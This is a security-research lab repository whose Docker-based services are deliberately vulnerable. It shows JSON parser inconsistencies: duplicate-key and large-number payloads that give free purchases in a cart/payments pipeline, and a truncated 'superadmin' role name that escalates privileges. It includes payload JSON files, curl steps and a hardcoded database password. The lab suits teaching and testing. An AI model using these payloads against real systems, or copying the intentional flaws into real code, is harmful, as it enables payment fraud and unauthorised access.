├── README.md
├── lab1
├── README.md
├── cart
│ ├── Dockerfile
│ ├── app.py
│ └── requirements.txt
├── docker-compose.yml
├── lab1_alt_req.json
├── lab1_req.json
├── payments
│ ├── Dockerfile
│ └── app.go
└── productDB.json
├── lab2
├── README.md
├── admin
│ ├── Dockerfile
│ ├── app.py
│ └── requirements.txt
├── docker-compose.yml
├── permissions
│ ├── Dockerfile
│ ├── app.py
│ └── requirements.txt
├── role1.json
├── role2.json
├── run_requests.sh
├── user
│ ├── Dockerfile
│ ├── app.py
│ └── requirements.txt
├── user1.json
├── user2.json
└── user3.json
└── media
├── lab1.jpg
├── lab2.jpg
└── logo.jpg
/README.md:
--------------------------------------------------------------------------------
1 | # JSON Interoperability Vulnerability Labs
2 |
3 |
4 |
5 |
6 |
7 |
8 | ### Description
9 | These are the companion labs to my research article ["An Exploration of JSON Interoperability Vulnerabilities"](https://labs.bishopfox.com/tech-blog/an-exploration-of-json-interoperability-vulnerabilities).
10 |
11 | [Lab 1: Free purchases in an E-commerce Application](lab1/)
12 | * Key Collision Attacks: Inconsistent Duplicate Key Precedence
13 | * Inconsistent Large Number Representations
14 |
15 | [Lab 2: Privilege Escalation in a Multi-tenant Application](lab2/)
16 | * Key Collision Attacks: Character Truncation
17 |
18 |
19 | These labs bind to host ports 5000-5004, by default.
20 |
21 | ### Attack Techniques
22 |
23 | #### 1\. Key Collisions
24 |
25 | **Inconsistent Duplicate Key Precedence**
26 |
27 | ```
28 | {"qty": 1, "qty": -1}
29 | ```
30 |
31 | **Character Truncation**
32 |
33 | Truncation in last-key precedence parsers (flip order for first-key precedence)
34 | ```
35 | {"qty": 1, "qty\": -1}
36 | {"qty": 1, "qty\ud800": -1} # Any unpaired surrogate U+D800-U+DFFF
37 | {"qty": 1, "qty"": -1}
38 | {"qty": 1, "qt\y": -1}
39 | ```
40 | **Comment Truncation**
41 |
42 | These documents take advantage of inconsistent support of comments and quote-less string support:
43 | ```
44 | {"qty": 1, "extra": 1/*, "qty": -1, "extra2": 2*/}
45 | {"qty": 1, "extra": a/*, "qty": -1, "extra2": b*/}
46 | {"qty": 1, "extra": "a/*", "qty": -1, "extra2": "b"*/}
47 | {"qty": 1, "extra": "a"//, "qty": -1}
48 | ```
49 |
50 | #### 2\. Number Decoding
51 |
52 | **Inconsistent Large Number Decoding**
53 |
54 | These large numeric values may be converted to Strings (e.g., "+Infinity"), which may lead to type-juggling vulnerabilities. Or, they may be converted to MAX_INT/MIN_INT, rounded values, or 0, which may allow a bypass of business logic.
55 | ```
56 | {"qty": 999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999}
57 | {"qty": -999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999}
58 | {"qty": 1.0e4096}
59 | {"qty": -1.0e4096}
60 | ```
61 |
62 | ### Author
63 |
64 | Twitter: [@theBumbleSec](https://twitter.com/theBumbleSec)
65 |
66 | GitHub: [the-bumble](https://github.com/the-bumble/)
67 |
--------------------------------------------------------------------------------
/lab1/README.md:
--------------------------------------------------------------------------------
1 | # Lab 1: Free Purchases in an E-commerce Application
2 |
3 |
4 |
5 |
6 | ###
7 | This lab demonstrates a vulnerability pattern when two services use JSON parsers with [inconsistent duplicate key precedence](https://labs.bishopfox.com/tech-blog/an-exploration-of-json-interoperability-vulnerabilities#1-Inconsistent%20Duplicate%20Key%20Precedence). The Cart service will decode a positive quantity, while the Payment service will decode a negative quantity. In this example, this will lead to an attacker receiving items without paying for them.
8 |
9 | There are two services:
10 | * **Cart API (port 5000)**: Python, stdlib JSON
11 | * **Payments API (port 5001)**: Go, buger/jsonparser library
12 |
13 | ### Architecture diagram
14 |
15 |
16 | ### Setup
17 | Run docker-compose from the `lab1` directory:
18 |
19 | ```bash
20 | docker-compose up -d
21 | ```
22 |
23 | ### Part 1: Inconsistent Duplicate Key Precedence
24 |
25 | In this example, we're looking at a checkout and payment processing pipeline. We'll have a positive quantity used for fulfillment, and a negative quantity used for payment process. In the following request, we send a duplicate `qty` key to cause the Cart service (last key precedence) to incorrectly validate the JSON document before passing it to the Payments service (first key precedence).
26 |
27 | Send a request to the Cart API.
28 | ```
29 | curl localhost:5000/cart/checkout -H "Content-Type: application/json" -d @lab1_req.json
30 | ```
31 |
32 | Request (`lab1_req.json`):
33 | ```
34 | {
35 | "orderId": 10,
36 | "cart": [
37 | {
38 | "id": 0,
39 | "qty": 5
40 | },
41 | {
42 | "id": 1,
43 | "qty": -1,
44 | "qty": 1
45 | }
46 | ]
47 | }
48 | ```
49 |
50 | The Cart service enforces business logic through JSON Schema. However, JSON Schema libraries rely on parsed objects, so the duplicate key is not observed. The numeric range check (`0 <= x <= 10`) succeeds in the Cart service as the last duplicated `qty` key is preferred, which is a positive value.
51 |
52 | Now, that the JSON body is validated, the original JSON string is forwarded to the Payments service:
53 |
54 | ```python
55 | @app.route('/cart/checkout', methods=["POST"])
56 | def checkout():
57 | # 1a: Parse JSON body using Python stdlib parser.
58 | data = request.get_json(force=True)
59 |
60 | # 1b: Validate constraints using jsonschema: id: 0 <= x <= 10 and qty: >= 1
61 | jsonschema.validate(instance=data, schema=schema)
62 |
63 | # 2: Process payments
64 | resp = requests.request(method="POST",
65 | url="http://payments:8000/process",
66 | data=request.get_data(),
67 | )
68 | ```
69 |
70 | However, the Payments API uses a JSON parser with first key precedence. Leading to a parsed negative value for `qty` reducing the total purchase price.
71 |
72 | ```golang
73 | func processPayment(w http.ResponseWriter, r *http.Request) {
74 | var total int64
75 | total = 0
76 | data, _ := ioutil.ReadAll(r.Body)
77 | jsonparser.ArrayEach(
78 | data,
79 | func(value []byte, dataType jsonparser.ValueType, offset int, err error) {
80 | id, _ := jsonparser.GetInt(value, "id")
81 | qty, _ := jsonparser.GetInt(value, "qty")
82 | total = total + productDB[id]["price"].(int64) * qty;
83 | },
84 | "cart")
85 |
86 | io.WriteString(w, fmt.Sprintf("{\"total\": %d}", total))
87 | }
88 | ```
89 |
90 | The Cart API returns a receipt for the six items including the total payment charged by the Payments API. Note: the $700 total has been reduced to $300:
91 |
92 | ```
93 | Receipt:
94 | 5x Product A @ $100/unit
95 | 1x Product B @ $200/unit
96 |
97 | Total Charged: $300
98 | ```
99 |
100 | ### Part 2: Inconsistent Large Number Decode
101 |
102 | In this example, we exploit differences in [large number decoding across JSON parsers](https://labs.bishopfox.com/tech-blog/an-exploration-of-json-interoperability-vulnerabilities#Example-Inconsistent%20Large%20Number%20Decode) to get items for free.
103 |
104 | Here, the Cart service parser will faithfully decode the large number in the JSON document, but the JSON parser in the Payments API will decode the value as 0.
105 |
106 | **Note:** This particular integer overflow is detected by `buger/jsonparser`. However, 0 is returned when there are errors, and the errors are unchecked. After a quick GitHub code search many users appear to ignore the error code, which contribute to outcomes seen here. However, even with error checking, in some libraries significant rounding can also occur to accommodate the underlying data types.
107 |
108 | ```
109 | curl localhost:5000/cart/checkout -H "Content-Type: application/json" -d @lab1_alt_req.json
110 | ```
111 |
112 | **Request (`lab1_alt_req.json`):**
113 | ```
114 | POST /cart/checkout HTTP/1.1
115 | ...
116 |
117 | {
118 | "orderId": 10,
119 | "cart": [
120 | {
121 | "id": 8,
122 | "qty": 999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
123 | }
124 | ]
125 | }
126 |
127 | ```
128 |
129 | **Response:**
130 | ```
131 | Receipt:
132 | 999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999x $100 E-Gift Card @ $100/unit
133 |
134 | Total Charged: $0
135 | ```
136 |
137 | As shown above, the payments service did not charge the attacker for the E-Gift card credit.
138 |
--------------------------------------------------------------------------------
/lab1/cart/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM python:3.7-alpine
2 | WORKDIR /code
3 | ENV FLASK_APP=app.py
4 | ENV FLASK_RUN_HOST=0.0.0.0
5 | COPY requirements.txt requirements.txt
6 | RUN pip install -r requirements.txt
7 | EXPOSE 5000
8 | COPY . .
9 | CMD ["flask", "run"]
10 |
--------------------------------------------------------------------------------
/lab1/cart/app.py:
--------------------------------------------------------------------------------
1 | from flask import Flask, request
2 | import jsonschema
3 | import requests
4 | import json
5 |
6 | app = Flask(__name__)
7 |
8 | productDB = None
9 | with open("productDB.json", "r") as fd:
10 | productDB = json.loads(fd.read())
11 |
12 | schema = {
13 | "type": "object",
14 | "properties": {
15 | "orderId": {
16 | "type": "number",
17 | "maximum": 10,
18 | },
19 | "cart": {
20 | "type": "array",
21 | "items": {
22 | "type": "object",
23 | "properties": {
24 | "id": {
25 | "type": "number",
26 | "minimum": 0,
27 | "exclusiveMaximum": 9 #len(productDB)-1
28 | },
29 | "qty": {
30 | "type": "integer",
31 | "minimum": 1
32 | },
33 | },
34 | "required": ["id", "qty"],
35 | }
36 | }
37 | },
38 | "required": ["orderId", "cart"],
39 | }
40 |
41 |
42 | @app.route('/cart/checkout', methods=["POST"])
43 | def checkout():
44 | # 1a: Parse JSON body using Python stdlib parser.
45 | data = request.get_json(force=True)
46 |
47 | # 1b: Validate constraints using jsonschema: id: 0 <= x <= 10 and qty: >= 1
48 | jsonschema.validate(instance=data, schema=schema)
49 |
50 | # 2: Process payments
51 | resp = requests.request(method="POST",
52 | url="http://payments:8000/process",
53 | data=request.get_data(),
54 | )
55 |
56 | # 3: Print receipt as a response, or produce generic error message
57 | if resp.status_code == 200:
58 | receipt = "Receipt:\n"
59 | for item in data["cart"]:
60 | receipt += "{}x {} @ ${}/unit\n".format(
61 | item["qty"],
62 | productDB[item["id"]].get("name"),
63 | productDB[item["id"]].get("price")
64 | )
65 | receipt += "\nTotal Charged: ${}\n".format(resp.json()["total"])
66 | return receipt
67 | return "Error during payment processing"
68 |
--------------------------------------------------------------------------------
/lab1/cart/requirements.txt:
--------------------------------------------------------------------------------
1 | flask
2 | jsonschema
3 | requests
4 |
--------------------------------------------------------------------------------
/lab1/docker-compose.yml:
--------------------------------------------------------------------------------
1 | version: "3.3"
2 | services:
3 | cart:
4 | build: cart/
5 | ports:
6 | - "5000:5000"
7 | volumes:
8 | - ./productDB.json:/code/productDB.json
9 | payments:
10 | build: payments/
11 | ports:
12 | - "5001:8000"
13 | volumes:
14 | - ./productDB.json:/go/src/app/productDB.json
15 |
16 |
--------------------------------------------------------------------------------
/lab1/lab1_alt_req.json:
--------------------------------------------------------------------------------
1 | {
2 | "orderId": 10,
3 | "cart": [
4 | {
5 | "id": 8,
6 | "qty": 999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
7 | }
8 | ]
9 | }
10 |
--------------------------------------------------------------------------------
/lab1/lab1_req.json:
--------------------------------------------------------------------------------
1 | {
2 | "orderId": 10,
3 | "cart": [
4 | {
5 | "id": 0,
6 | "qty": 5
7 | },
8 | {
9 | "id": 1,
10 | "qty": -1,
11 | "qty": 1
12 | }
13 | ]
14 | }
15 |
--------------------------------------------------------------------------------
/lab1/payments/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM golang:1.14
2 |
3 | WORKDIR /go/src/app
4 | COPY . .
5 |
6 | RUN go get -d -v ./...
7 | RUN go install -v ./...
8 |
9 | CMD ["app"]
10 |
--------------------------------------------------------------------------------
/lab1/payments/app.go:
--------------------------------------------------------------------------------
1 | package main;
2 |
3 | import (
4 | "fmt"
5 | "io"
6 | "io/ioutil"
7 | "net/http"
8 | "github.com/buger/jsonparser"
9 | "log"
10 | )
11 |
12 | var productDB []map[string]interface{}
13 |
14 | func processPayment(w http.ResponseWriter, r *http.Request) {
15 | var total int64 = 0
16 | data, _ := ioutil.ReadAll(r.Body)
17 | jsonparser.ArrayEach(
18 | data,
19 | func(value []byte, dataType jsonparser.ValueType, offset int, err error) {
20 | id, _ := jsonparser.GetInt(value, "id")
21 | qty, _ := jsonparser.GetInt(value, "qty")
22 | total = total + productDB[id]["price"].(int64) * qty;
23 | },
24 | "cart")
25 |
26 | io.WriteString(w, fmt.Sprintf("{\"total\": %d}", total))
27 | }
28 |
29 | func main() {
30 | // Initialize ProductDB
31 | data, err := ioutil.ReadFile("productDB.json")
32 | if err != nil {
33 | panic(err)
34 | }
35 |
36 | jsonparser.ArrayEach(data, func(value []byte, dataType jsonparser.ValueType, offset int, err error) {
37 | m := make(map[string]interface{})
38 | m["name"], _ = jsonparser.GetString(value, "name")
39 | m["price"], _ = jsonparser.GetInt(value, "price")
40 | productDB = append(productDB, m)
41 | })
42 |
43 | // Start Web server
44 | mux := http.NewServeMux()
45 | mux.HandleFunc("/process", processPayment)
46 |
47 | err = http.ListenAndServe(":8000", mux)
48 | log.Fatal(err)
49 | }
50 |
--------------------------------------------------------------------------------
/lab1/productDB.json:
--------------------------------------------------------------------------------
1 | [
2 | {"name": "Product A", "price": 100},
3 | {"name": "Product B", "price": 200},
4 | {"name": "Product C", "price": 300},
5 | {"name": "Product D", "price": 400},
6 | {"name": "Product E", "price": 500},
7 | {"name": "Product F", "price": 600},
8 | {"name": "Product G", "price": 700},
9 | {"name": "Product H", "price": 800},
10 | {"name": "$100 E-Gift Card", "price": 100},
11 | {"name": "Product J", "price": 1000}
12 | ]
13 |
--------------------------------------------------------------------------------
/lab2/README.md:
--------------------------------------------------------------------------------
1 | # Lab 2: Privilege Escalation in a Multi-tenant Application
2 |
3 |
4 |
5 |
6 | ###
7 | Let's consider a multi-tenant application where an organization admin is able to create custom user roles. We also know that users that have cross-organizational access are assigned the internal role `superadmin`. Let’s try to escalate privileges.
8 |
9 | There are two APIs:
10 | * **User API (port 5002)**: Python, stdlib JSON
11 | * **Permissions API (port 5003)**: Python, stdlib JSON
12 | * **Admin API (port 5004)**: Python, ujson
13 |
14 |
15 | ### Setup
16 | Run docker-compose from the `lab2` directory:
17 |
18 | ```bash
19 | docker-compose up -d
20 | ```
21 |
22 | ### Demo: Character truncation
23 |
24 |
25 | 1\. Create a role that will be truncated by a downstream parsers.
26 |
27 | Command:
28 | ```
29 | curl localhost:5002/role/create -H "Content-Type: application/json" -d @role2.json
30 | ```
31 |
32 | Request:
33 | ```
34 | POST /role/create HTTP/1.1
35 | ...
36 |
37 | {
38 | "name": "superadmin\ud888"
39 | }
40 | ```
41 |
42 | 2\. Create a new user with that malformed role name.
43 |
44 | Command:
45 | ```
46 | curl localhost:5002/user/create -H "Content-Type: application/json" -d @user2.json
47 | ```
48 |
49 | Request:
50 | ```
51 | POST /user/create HTTP/1.1
52 | ...
53 |
54 | {
55 | "user": "exampleUser",
56 | "roles": [
57 | "superadmin\ud888"
58 | ]
59 | }
60 | ```
61 |
62 | 3\. Access the Admin API due to truncation performed by parser when reading the response from the Permissions API ([See blog post for more details](https://labs.bishopfox.com/tech-blog/an-exploration-of-json-interoperability-vulnerabilities#Example-Validate-Store%20Pattern)).
63 |
64 | Command:
65 | ```
66 | curl localhost:5004/admin -H "Cookie: username=exampleUser"
67 | ```
68 |
69 | **Note:** `role1.json`, `user1.json` are templates for well-behaved requests. `user3.json` attempts to directly assign `superadmin` role.
70 |
--------------------------------------------------------------------------------
/lab2/admin/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM python:2.7-alpine
2 | WORKDIR /code
3 | ENV FLASK_APP=app.py
4 | ENV FLASK_RUN_HOST=0.0.0.0
5 | RUN apk add --no-cache gcc musl-dev linux-headers g++
6 | RUN pip install -q -U setuptools wheel
7 | COPY requirements.txt requirements.txt
8 | RUN pip install -r requirements.txt
9 | EXPOSE 5000
10 | COPY . .
11 | CMD ["flask", "run"]
12 |
--------------------------------------------------------------------------------
/lab2/admin/app.py:
--------------------------------------------------------------------------------
1 | from flask import Flask, request
2 | import requests
3 | import ujson
4 |
5 | import os.path
6 | import urllib
7 |
8 | app = Flask(__name__)
9 |
10 |
11 | @app.route('/')
12 | def index():
13 | return "Admin API"
14 |
15 |
16 | @app.route('/admin')
17 | def admin():
18 | username = request.cookies.get("username")
19 | if not username:
20 | return {"Error": "Specify username in Cookie"}
21 |
22 | username = urllib.quote(os.path.basename(username))
23 |
24 | url = "http://permissions:5000/permissions/{}".format(username)
25 | resp = requests.request(method="GET", url=url)
26 |
27 | ret = ujson.loads(resp.text)
28 |
29 | if resp.status_code == 200:
30 | if "superadmin" in ret["roles"]:
31 | return {"OK": "Superadmin Access granted"}
32 | else:
33 | e = u"Access denied. User has following roles: {}".format(ret["roles"])
34 | return {"Error": e}, 401
35 | else:
36 | return {"Error": ret["Error"]}, 500
37 |
--------------------------------------------------------------------------------
/lab2/admin/requirements.txt:
--------------------------------------------------------------------------------
1 | flask
2 | requests
3 | ujson
4 |
--------------------------------------------------------------------------------
/lab2/docker-compose.yml:
--------------------------------------------------------------------------------
1 | version: "3.3"
2 | services:
3 | mysql:
4 | image: mysql
5 | command: --default-authentication-plugin=mysql_native_password
6 | restart: always
7 | environment:
8 | MYSQL_ROOT_PASSWORD: bb3cf293a43066428577ac02926cefd0
9 | user:
10 | build: user/
11 | ports:
12 | - "5002:5000"
13 | depends_on:
14 | - "mysql"
15 | permissions:
16 | build: permissions/
17 | ports:
18 | - "5003:5000"
19 | depends_on:
20 | - "user"
21 | - "mysql"
22 | admin:
23 | build: admin/
24 | ports:
25 | - "5004:5000"
26 |
--------------------------------------------------------------------------------
/lab2/permissions/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM python:2.7-alpine
2 | WORKDIR /code
3 | ENV FLASK_APP=app.py
4 | ENV FLASK_RUN_HOST=0.0.0.0
5 | COPY requirements.txt requirements.txt
6 | RUN pip install -r requirements.txt
7 | EXPOSE 5000
8 | COPY . .
9 | CMD ["flask", "run"]
10 |
--------------------------------------------------------------------------------
/lab2/permissions/app.py:
--------------------------------------------------------------------------------
1 | from flask import Flask
2 | import mysql.connector
3 | import time
4 |
5 | app = Flask(__name__)
6 |
7 | mydb = None
8 | while mydb is None:
9 | time.sleep(1)
10 | mydb = mysql.connector.connect(
11 | host="mysql",
12 | user="root",
13 | password="bb3cf293a43066428577ac02926cefd0",
14 | database="demo",
15 | charset="binary"
16 | )
17 |
18 |
19 | @app.route('/')
20 | def index():
21 | return "Permission API"
22 |
23 |
24 | @app.route('/permissions/')
25 | def permissions(username):
26 | mycursor = mydb.cursor()
27 | mycursor.execute("SELECT r.name FROM users u LEFT JOIN user_roles ur ON u.id = ur.user_id LEFT JOIN roles r ON ur.role_id = r.id WHERE u.name = %s",
28 | (username,))
29 |
30 | # Decode binary values to utf-8
31 | roles = [x[0].decode("utf-8") for x in mycursor.fetchall()]
32 | if roles:
33 | return {"roles": roles}
34 | else:
35 | return {"Error": "User does not exist"}, 400
36 |
--------------------------------------------------------------------------------
/lab2/permissions/requirements.txt:
--------------------------------------------------------------------------------
1 | flask
2 | jsonschema
3 | requests
4 | mysql-connector-python
5 |
--------------------------------------------------------------------------------
/lab2/role1.json:
--------------------------------------------------------------------------------
1 | {"name": "simple"}
2 |
--------------------------------------------------------------------------------
/lab2/role2.json:
--------------------------------------------------------------------------------
1 | {"name": "superadmin\ud888"}
2 |
--------------------------------------------------------------------------------
/lab2/run_requests.sh:
--------------------------------------------------------------------------------
1 | curl localhost:5002/user/create -H "Content-Type: application/json" -d @user3.json
2 | curl localhost:5002/role/create -H "Content-Type: application/json" -d @role1.json
3 | curl localhost:5002/role/create -H "Content-Type: application/json" -d @role2.json
4 | curl localhost:5002/user/create -H "Content-Type: application/json" -d @user1.json
5 | curl localhost:5002/user/create -H "Content-Type: application/json" -d @user2.json
6 | curl localhost:5003/permissions/exampleUser
7 | curl localhost:5004/admin -H "Cookie: username=exampleUser"
8 |
--------------------------------------------------------------------------------
/lab2/user/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM python:2.7-alpine
2 | WORKDIR /code
3 | ENV FLASK_APP=app.py
4 | ENV FLASK_RUN_HOST=0.0.0.0
5 | COPY requirements.txt requirements.txt
6 | RUN pip install -r requirements.txt
7 | EXPOSE 5000
8 | COPY . .
9 | CMD ["flask", "run"]
--------------------------------------------------------------------------------
/lab2/user/app.py:
--------------------------------------------------------------------------------
1 | from flask import Flask, request
2 | import jsonschema
3 | from jsonschema.exceptions import SchemaError
4 | import mysql.connector
5 | import time
6 |
7 | app = Flask(__name__)
8 |
9 | mydb = None
10 | while mydb is None:
11 | time.sleep(1)
12 | mydb = mysql.connector.connect(
13 | host="mysql",
14 | user="root",
15 | password="bb3cf293a43066428577ac02926cefd0",
16 | charset="binary",
17 | )
18 |
19 | cursor = mydb.cursor()
20 | # Reset database
21 | cursor.execute("DROP DATABASE demo")
22 | cursor.execute("CREATE DATABASE demo CHARACTER SET binary")
23 | cursor.execute("USE demo")
24 |
25 | # create tables
26 | cursor.execute("CREATE TABLE users (id int NOT NULL AUTO_INCREMENT primary key, name varchar(255))")
27 | cursor.execute("CREATE TABLE roles (id int NOT NULL AUTO_INCREMENT primary key, name varchar(255))")
28 | cursor.execute("CREATE TABLE user_roles (id int NOT NULL AUTO_INCREMENT primary key, user_id int, role_id int)")
29 | cursor.execute("INSERT INTO roles (name) VALUES (\"superadmin\")")
30 | mydb.commit()
31 |
32 |
33 | @app.route('/')
34 | def index():
35 | return "User API"
36 |
37 | # /user/create
38 |
39 |
40 | userschema = {
41 | "type": "object",
42 | "properties": {
43 | "user": {"type": "string"},
44 | "roles": {
45 | "type": "array",
46 | "items": {
47 | "type": "string"
48 | }
49 | }
50 | },
51 | "required": ["user", "roles"]
52 | }
53 |
54 |
55 | @app.route('/user/create', methods=["POST"])
56 | def createUser():
57 | data = request.get_json(force=True)
58 | try:
59 | jsonschema.validate(instance=data, schema=userschema)
60 | except SchemaError as e:
61 | return {"Error": "Invalid Request: " + e}, 400
62 |
63 | cursor = mydb.cursor()
64 | cursor.execute("SELECT * FROM users WHERE name = %s", (data["user"],))
65 |
66 | if len(list(cursor.fetchall())) > 0:
67 | return {"Error": "User already exists"}, 400
68 |
69 | forbiddenroles = ["superadmin"]
70 |
71 | cursor.execute("SELECT id, name FROM roles")
72 | dbroles = cursor.fetchall()
73 |
74 | for role in data["roles"]:
75 | # Convert to bytes before comparison
76 | role = role.encode("utf-8")
77 | # compare against name field
78 | if role not in [x[1] for x in dbroles]:
79 | return {"Error": u"Role '{}' does not exist".format(role)}, 404
80 | if role in forbiddenroles:
81 | return {"Error": u"Assignment of internal role '{}' is forbidden".format(role)}, 401
82 |
83 | cursor.execute("INSERT INTO users (name) VALUES (%s)", (data["user"],))
84 | mydb.commit()
85 |
86 | userid = cursor.lastrowid
87 | for role in data["roles"]:
88 | # Convert to bytes before comparison
89 | role = role.encode("utf-8")
90 | for i in range(len(dbroles)):
91 | if role == dbroles[i][1]:
92 | cursor.execute("INSERT INTO user_roles (user_id, role_id) VALUES (%s, %s)",
93 | (userid, dbroles[i][0]))
94 |
95 | mydb.commit()
96 |
97 | return {"OK": u"Created user '{}'".format(data["user"])}
98 |
99 | # /role/create
100 |
101 |
102 | roleschema = {
103 | "type": "object",
104 | "properties": {
105 | "name": {"type": "string"}
106 | },
107 | "required": ["name"]
108 | }
109 |
110 |
111 | @app.route('/role/create', methods=["POST"])
112 | def createRole():
113 | data = request.get_json(force=True)
114 | try:
115 | jsonschema.validate(instance=data, schema=roleschema)
116 | except SchemaError:
117 | return {"Error": "Invalid Request"}, 400
118 |
119 | rolename = data["name"]
120 |
121 | cursor = mydb.cursor()
122 | cursor.execute("SELECT name FROM roles WHERE name = %s", (rolename,))
123 |
124 | if len(list(cursor.fetchall())) == 0:
125 | cursor.execute("INSERT INTO roles (name) VALUES (%s)", (rolename,))
126 | mydb.commit()
127 | else:
128 | return {"Error": "Role already exists"}, 400
129 | return {"OK": u"Created role '{}'".format(rolename)}
130 |
--------------------------------------------------------------------------------
/lab2/user/requirements.txt:
--------------------------------------------------------------------------------
1 | flask
2 | jsonschema
3 | requests
4 | mysql-connector-python
5 |
--------------------------------------------------------------------------------
/lab2/user1.json:
--------------------------------------------------------------------------------
1 | {
2 | "user": "simpleUser",
3 | "roles": ["simple"]
4 | }
5 |
--------------------------------------------------------------------------------
/lab2/user2.json:
--------------------------------------------------------------------------------
1 | {
2 | "user": "exampleUser",
3 | "roles": ["superadmin\ud888"]
4 | }
5 |
--------------------------------------------------------------------------------
/lab2/user3.json:
--------------------------------------------------------------------------------
1 | {
2 | "user": "adminUser",
3 | "roles": ["superadmin"]
4 | }
5 |
--------------------------------------------------------------------------------
/media/lab1.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/BishopFox/json-interop-vuln-labs/5b6f23a361b3e0f65dd46167c23af4a2c73cab7d/media/lab1.jpg
--------------------------------------------------------------------------------
/media/lab2.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/BishopFox/json-interop-vuln-labs/5b6f23a361b3e0f65dd46167c23af4a2c73cab7d/media/lab2.jpg
--------------------------------------------------------------------------------
/media/logo.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/BishopFox/json-interop-vuln-labs/5b6f23a361b3e0f65dd46167c23af4a2c73cab7d/media/logo.jpg
--------------------------------------------------------------------------------